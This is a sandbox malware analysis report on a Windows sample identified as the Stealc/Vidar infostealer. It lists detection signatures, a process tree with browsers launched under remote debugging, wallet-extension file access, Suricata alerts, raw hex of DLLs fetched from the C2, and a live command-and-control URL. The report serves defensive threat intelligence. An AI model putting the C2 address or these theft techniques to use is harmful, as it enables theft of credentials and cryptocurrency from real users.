Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1544563
MD5:	9340a3851c0ae73f202ab165714889a8
SHA1:	9b2ccc7dc4374590caf879d0e66b8708a6d01e66
SHA256:	6511c91771f14671867e54fe4541c9e2cf6bfef8bf1356b88122266f6a73811d
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6532 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 9340A3851C0AE73F202AB165714889A8)

chrome.exe (PID: 6104 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7172 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 --field-trial-handle=2160,i,4455333709043181034,16278747037617922736,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 5376 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 880 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2308 --field-trial-handle=2192,i,13559142579569110316,10378971772201908166,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7324 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8340 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6668 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8360 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6904 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8720 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7464 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8548 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=5564 --field-trial-handle=2112,i,12895221458035377936,8170361428842122156,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.2682684437.0000000000171000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2684520265.0000000000F0E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2261862235.0000000004C20000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2684520265.0000000000F90000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6532	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.170000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6532, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6104, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:18.068255+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49742	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:18.068102+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49742	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:18.554513+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49742	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:20.121790+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49742	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:18.554868+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49742	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:16.734611+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49742	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-29T15:27:20.766112+0100	2803304	3	Unknown Traffic	192.168.2.6	49742	185.215.113.206	80	TCP
2024-10-29T15:27:46.718269+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:48.288325+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:48.950660+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:49.439666+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:50.950412+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP
2024-10-29T15:27:51.825503+0100	2803304	3	Unknown Traffic	192.168.2.6	49940	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.170000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.170000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:49816 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49848 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49890 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.245.163.56:443 -> 192.168.2.6:50114 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2708129002.000000006FD5D000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.2261862235.0000000004C4B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2682684437.000000000019C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2707955115.000000006CD41000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2707743552.000000006CC6F000.00000002.00000001.01000000.0000000A.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2708129002.000000006FD5D000.00000002.00000001.01000000.0000000B.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 16MB later: 40MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49742 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49742 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49742
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49742 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49742
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49742 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 29 Oct 2024 14:27:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 